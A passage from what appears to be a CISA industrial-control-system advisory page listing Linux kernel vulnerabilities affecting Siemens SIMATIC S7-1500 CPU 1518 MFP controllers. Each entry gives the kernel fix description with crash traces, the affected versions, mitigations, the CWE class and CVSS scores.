<p>In the Linux kernel, the following vulnerability has been resolved: ovl: fix UAF in ovl_dentry_update_reval by moving dput() in ovl_link_up The issue was caused by dput(upper) being called before ovl_dentry_update_reval(), while upper-&gt;d_flags was still accessed in ovl_dentry_remote(). Move dput(upper) after its last use to prevent use-after-free. BUG: KASAN: slab-use-after-free in ovl_dentry_remote fs/overlayfs/util.c:162 [inline] BUG: KASAN: slab-use-after-free in ovl_dentry_update_reval+0xd2/0xf0 fs/overlayfs/util.c:167 Call Trace: __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:114 print_address_description mm/kasan/report.c:377 [inline] print_report+0xc3/0x620 mm/kasan/report.c:488 kasan_report+0xd9/0x110 mm/kasan/report.c:601 ovl_dentry_remote fs/overlayfs/util.c:162 [inline] ovl_dentry_update_reval+0xd2/0xf0 fs/overlayfs/util.c:167 ovl_link_up fs/overlayfs/copy_up.c:610 [inline] ovl_copy_up_one+0x2105/0x3490 fs/overlayfs/copy_up.c:1170 ovl_copy_up_flags+0x18d/0x200 fs/overlayfs/copy_up.c:1223 ovl_rename+0x39e/0x18c0 fs/overlayfs/dir.c:1136 vfs_rename+0xf84/0x20a0 fs/namei.c:4893 ...</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21887">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21913</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/amd_nb: Use rdmsr_safe() in amd_get_mmconfig_range() Xen doesn't offer MSR_FAM10H_MMIO_CONF_BASE to all guests. This results in the following warning: unchecked MSR access error: RDMSR from 0xc0010058 at rIP: 0xffffffff8101d19f (xen_do_read_msr+0x7f/0xa0) Call Trace: xen_read_msr+0x1e/0x30 amd_get_mmconfig_range+0x2b/0x80 quirk_amd_mmconfig_area+0x28/0x100 pnp_fixup_device+0x39/0x50 __pnp_add_device+0xf/0x150 pnp_add_device+0x3d/0x100 pnpacpi_add_device_handler+0x1f9/0x280 acpi_ns_get_device_callback+0x104/0x1c0 acpi_ns_walk_namespace+0x1d0/0x260 acpi_get_devices+0x8a/0xb0 pnpacpi_init+0x50/0x80 do_one_initcall+0x46/0x2e0 kernel_init_freeable+0x1da/0x2f0 kernel_init+0x16/0x1b0 ret_from_fork+0x30/0x50 ret_from_fork_asm+0x1b/0x30 based on quirks for a "PNP0c01" device. Treating MMCFG as disabled is the right course of action, so no change is needed there. This was most likely exposed by fixing the Xen MSR accessors to not be silently-safe.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21913">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21919</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: sched/fair: Fix potential memory corruption in child_cfs_rq_on_list child_cfs_rq_on_list attempts to convert a 'prev' pointer to a cfs_rq. This 'prev' pointer can originate from struct rq's leaf_cfs_rq_list, making the conversion invalid and potentially leading to memory corruption. Depending on the relative positions of leaf_cfs_rq_list and the task group (tg) pointer within the struct, this can cause a memory fault or access garbage data. The issue arises in list_add_leaf_cfs_rq, where both cfs_rq-&gt;leaf_cfs_rq_list and rq-&gt;leaf_cfs_rq_list are added to the same leaf list. Also, rq-&gt;tmp_alone_branch can be set to rq-&gt;leaf_cfs_rq_list. This adds a check `if (prev == &amp;rq-&gt;leaf_cfs_rq_list)` after the main conditional in child_cfs_rq_on_list. This ensures that the container_of operation will convert a correct cfs_rq struct. This check is sufficient because only cfs_rqs on the same CPU are added to the list, so verifying the 'prev' pointer against the current rq's list head is enough. Fixes a potential memory corruption issue that due to current struct layout might not be manifesting as a crash but could lead to unpredictable behavior when the layout changes.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21919">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21925</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: llc: do not use skb_get() before dev_queue_xmit() syzbot is able to crash hosts [1], using llc and devices not supporting IFF_TX_SKB_SHARING. In this case, e1000 driver calls eth_skb_pad(), while the skb is shared. Simply replace skb_get() by skb_clone() in net/llc/llc_s_ac.c Note that e1000 driver might have an issue with pktgen, because it does not clear IFF_TX_SKB_SHARING, this is an orthogonal change. We need to audit other skb_get() uses in net/llc. [1] kernel BUG at net/core/skbuff.c:2178 ! Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI CPU: 0 UID: 0 PID: 16371 Comm: syz.2.2764 Not tainted 6.14.0-rc4-syzkaller-00052-gac9c34d1e45a #0 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:pskb_expand_head+0x6ce/0x1240 net/core/skbuff.c:2178 Call Trace: __skb_pad+0x18a/0x610 net/core/skbuff.c:2466 __skb_put_padto include/linux/skbuff.h:3843 [inline] skb_put_padto include/linux/skbuff.h:3862 [inline] eth_skb_pad include/linux/etherdevice.h:656 [inline] e1000_xmit_frame+0x2d99/0x5800 drivers/net/ethernet/intel/e1000/e1000_main.c:3128 __netdev_start_xmit include/linux/netdevice.h:5151 [inline] netdev_start_xmit include/linux/netdevice.h:5160 [inline] xmit_one net/core/dev.c:3806 [inline] dev_hard_start_xmit+0x9a/0x7b0 net/core/dev.c:3822 sch_direct_xmit+0x1ae/0xc30 net/sched/sch_generic.c:343 __dev_xmit_skb net/core/dev.c:4045 [inline] __dev_queue_xmit+0x13d4/0x43e0 net/core/dev.c:4621 dev_queue_xmit include/linux/netdevice.h:3313 [inline] llc_sap_action_send_test_c+0x268/0x320 net/llc/llc_s_ac.c:144 llc_exec_sap_trans_actions net/llc/llc_sap.c:153 [inline] llc_sap_next_state net/llc/llc_sap.c:182 [inline] llc_sap_state_process+0x239/0x510 net/llc/llc_sap.c:209 llc_ui_sendmsg+0xd0d/0x14e0 net/llc/af_llc.c:993 sock_sendmsg_nosec net/socket.c:718 [inline]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21925">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21926</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: gso: fix ownership in __udp_gso_segment In __udp_gso_segment the skb destructor is removed before segmenting the skb but the socket reference is kept as-is. This is an issue if the original skb is later orphaned as we can hit the following bug: kernel BUG at ./include/linux/skbuff.h:3312! (skb_orphan) RIP: 0010:ip_rcv_core+0x8b2/0xca0 Call Trace: ip_rcv+0xab/0x6e0 __netif_receive_skb_one_core+0x168/0x1b0 process_backlog+0x384/0x1100 __napi_poll.constprop.0+0xa1/0x370 net_rx_action+0x925/0xe50 The above can happen following a sequence of events when using OpenVSwitch, when an OVS_ACTION_ATTR_USERSPACE action precedes an OVS_ACTION_ATTR_OUTPUT action: 1. OVS_ACTION_ATTR_USERSPACE is handled (in do_execute_actions): the skb goes through queue_gso_packets and then __udp_gso_segment, where its destructor is removed. 2. The segments' data are copied and sent to userspace. 3. OVS_ACTION_ATTR_OUTPUT is handled (in do_execute_actions) and the same original skb is sent to its path. 4. If it later hits skb_orphan, we hit the bug. Fix this by also removing the reference to the socket in __udp_gso_segment.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21926">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21938</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix 'scheduling while atomic' in mptcp_pm_nl_append_new_local_addr If multiple connection requests attempt to create an implicit mptcp endpoint in parallel, more than one caller may end up in mptcp_pm_nl_append_new_local_addr because none found the address in local_addr_list during their call to mptcp_pm_nl_get_local_id. In this case, the concurrent new_local_addr calls may delete the address entry created by the previous caller. These deletes use synchronize_rcu, but this is not permitted in some of the contexts where this function may be called. During packet recv, the caller may be in a rcu read critical section and have preemption disabled. An example stack: BUG: scheduling while atomic: swapper/2/0/0x00000302 Call Trace: dump_stack_lvl (lib/dump_stack.c:117 (discriminator 1)) dump_stack (lib/dump_stack.c:124) __schedule_bug (kernel/sched/core.c:5943) schedule_debug.constprop.0 (arch/x86/include/asm/preempt.h:33 kernel/sched/core.c:5970) __schedule (arch/x86/include/asm/jump_label.h:27 include/linux/jump_label.h:207 kernel/sched/features.h:29 kernel/sched/core.c:6621) schedule (arch/x86/include/asm/preempt.h:84 kernel/sched/core.c:6804 kernel/sched/core.c:6818) schedule_timeout (kernel/time/timer.c:2160) wait_for_completion (kernel/sched/completion.c:96 kernel/sched/completion.c:116 kernel/sched/completion.c:127 kernel/sched/completion.c:148) __wait_rcu_gp (include/linux/rcupdate.h:311 kernel/rcu/update.c:444) synchronize_rcu (kernel/rcu/tree.c:3609) mptcp_pm_nl_append_new_local_addr (net/mptcp/pm_netlink.c:966 net/mptcp/pm_netlink.c:1061) mptcp_pm_nl_get_local_id (net/mptcp/pm_netlink.c:1164) mptcp_pm_get_local_id (net/mptcp/pm.c:420) subflow_check_req (net/mptcp/subflow.c:98 net/mptcp/subflow.c:213) subflow_v4_route_req (net/mptcp/subflow.c:305) tcp_conn_request (net/ipv4/tcp_input.c:7216) subflow_v4_conn_request (net/mptcp/subflow.c:651) tcp_rcv_state_process (net/ipv4/tcp_input.c:6709) tcp_v4_do_rcv (net/ipv4/tcp_ipv4.c:1934) tcp_v4_rcv (net/ipv4/tcp_ipv4.c:2334) ip_protocol_deliver_rcu (net/ipv4/ip_input.c:205 (discriminator 1)) ip_local_deliver_finish (include/linux/rcupdate.h:813 net/ipv4/ip_input.c:234) ip_local_deliver (include/linux/netfilter.h:314 include/linux/netfilter.h:308 net/ipv4/ip_input.c:254) ip_sublist_rcv_finish (include/net/dst.h:461 net/ipv4/ip_input.c:580) ip_sublist_rcv (net/ipv4/ip_input.c:640) ip_list_rcv (net/ipv4/ip_input.c:675) __netif_receive_skb_list_core (net/core/dev.c:5583 net/core/dev.c:5631) netif_receive_skb_list_internal (net/core/dev.c:5685 net/core/dev.c:5774) napi_complete_done (include/linux/list.h:37 include/net/gro.h:449 include/net/gro.h:444 net/core/dev.c:6114) igb_poll (drivers/net/ethernet/intel/igb/igb_main.c:8244) igb __napi_poll (net/core/dev.c:6582) net_rx_action (net/core/dev.c:6653 net/core/dev.c:6787) handle_softirqs (kernel/softirq.c:553) __irq_exit_rcu (kernel/softirq.c:588 kernel/softirq.c:427 kernel/softirq.c:636) irq_exit_rcu (kernel/softirq.c:651) common_interrupt (arch/x86/kernel/irq.c:247 (discriminator 14)) This problem seems particularly prevalent if the user advertises an endpoint that has a different external vs internal address. In the case where the external address is advertised and multiple connections already exist, multiple subflow SYNs arrive in parallel which tends to trigger the race during creation of the first local_addr_list entries which have the internal address instead. Fix by skipping the replacement of an existing implicit local address if called via mptcp_pm_nl_get_local_id.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21938">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21959</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conncount: Fully initialize struct nf_conncount_tuple in insert_tree() Since commit b36e4523d4d5 ("netfilter: nf_conncount: fix garbage collection confirm race"), `cpu` and `jiffies32` were introduced to the struct nf_conncount_tuple. The commit made nf_conncount_add() initialize `conn-&gt;cpu` and `conn-&gt;jiffies32` when allocating the struct. In contrast, count_tree() was not changed to initialize them. By commit 34848d5c896e ("netfilter: nf_conncount: Split insert and traversal"), count_tree() was split and the relevant allocation code now resides in insert_tree(). Initialize `conn-&gt;cpu` and `conn-&gt;jiffies32` in insert_tree(). BUG: KMSAN: uninit-value in find_or_evict net/netfilter/nf_conncount.c:117 [inline] BUG: KMSAN: uninit-value in __nf_conncount_add+0xd9c/0x2850 net/netfilter/nf_conncount.c:143 find_or_evict net/netfilter/nf_conncount.c:117 [inline] __nf_conncount_add+0xd9c/0x2850 net/netfilter/nf_conncount.c:143 count_tree net/netfilter/nf_conncount.c:438 [inline] nf_conncount_count+0x82f/0x1e80 net/netfilter/nf_conncount.c:521 connlimit_mt+0x7f6/0xbd0 net/netfilter/xt_connlimit.c:72 __nft_match_eval net/netfilter/nft_compat.c:403 [inline] nft_match_eval+0x1a5/0x300 net/netfilter/nft_compat.c:433 expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline] nft_do_chain+0x426/0x2290 net/netfilter/nf_tables_core.c:288 nft_do_chain_ipv4+0x1a5/0x230 net/netfilter/nft_chain_filter.c:23 nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline] nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626 nf_hook_slow_list+0x24d/0x860 net/netfilter/core.c:663 NF_HOOK_LIST include/linux/netfilter.h:350 [inline] ip_sublist_rcv+0x17b7/0x17f0 net/ipv4/ip_input.c:633 ip_list_rcv+0x9ef/0xa40 net/ipv4/ip_input.c:669 __netif_receive_skb_list_ptype net/core/dev.c:5936 [inline] __netif_receive_skb_list_core+0x15c5/0x1670 net/core/dev.c:5983 __netif_receive_skb_list net/core/dev.c:6035 [inline] netif_receive_skb_list_internal+0x1085/0x1700 net/core/dev.c:6126 netif_receive_skb_list+0x5a/0x460 net/core/dev.c:6178 xdp_recv_frames net/bpf/test_run.c:280 [inline] xdp_test_run_batch net/bpf/test_run.c:361 [inline] bpf_test_run_xdp_live+0x2e86/0x3480 net/bpf/test_run.c:390 bpf_prog_test_run_xdp+0xf1d/0x1ae0 net/bpf/test_run.c:1316 bpf_prog_test_run+0x5e5/0xa30 kernel/bpf/syscall.c:4407 __sys_bpf+0x6aa/0xd90 kernel/bpf/syscall.c:5813 __do_sys_bpf kernel/bpf/syscall.c:5902 [inline] __se_sys_bpf kernel/bpf/syscall.c:5900 [inline] __ia32_sys_bpf+0xa0/0xe0 kernel/bpf/syscall.c:5900 ia32_sys_call+0x394d/0x4180 arch/x86/include/generated/asm/syscalls_32.h:358 do_syscall_32_irqs_on arch/x86/entry/common.c:165 [inline] __do_fast_syscall_32+0xb0/0x110 arch/x86/entry/common.c:387 do_fast_syscall_32+0x38/0x80 arch/x86/entry/common.c:412 do_SYSENTER_32+0x1f/0x30 arch/x86/entry/common.c:450 entry_SYSENTER_compat_after_hwframe+0x84/0x8e Uninit was created at: slab_post_alloc_hook mm/slub.c:4121 [inline] slab_alloc_node mm/slub.c:4164 [inline] kmem_cache_alloc_noprof+0x915/0xe10 mm/slub.c:4171 insert_tree net/netfilter/nf_conncount.c:372 [inline] count_tree net/netfilter/nf_conncount.c:450 [inline] nf_conncount_count+0x1415/0x1e80 net/netfilter/nf_conncount.c:521 connlimit_mt+0x7f6/0xbd0 net/netfilter/xt_connlimit.c:72 __nft_match_eval net/netfilter/nft_compat.c:403 [inline] nft_match_eval+0x1a5/0x300 net/netfilter/nft_compat.c:433 expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline] nft_do_chain+0x426/0x2290 net/netfilter/nf_tables_core.c:288 nft_do_chain_ipv4+0x1a5/0x230 net/netfilter/nft_chain_filter.c:23 nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline] nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626 nf_hook_slow_list+0x24d/0x860 net/netfilter/core.c:663 NF_HOOK_LIST include/linux/netfilter.h:350 [inline] ip_sublist_rcv+0x17b7/0x17f0 net/ipv4/ip_input.c:633 ip_list_rcv+0x9ef/0xa40 net/ip ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21959">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
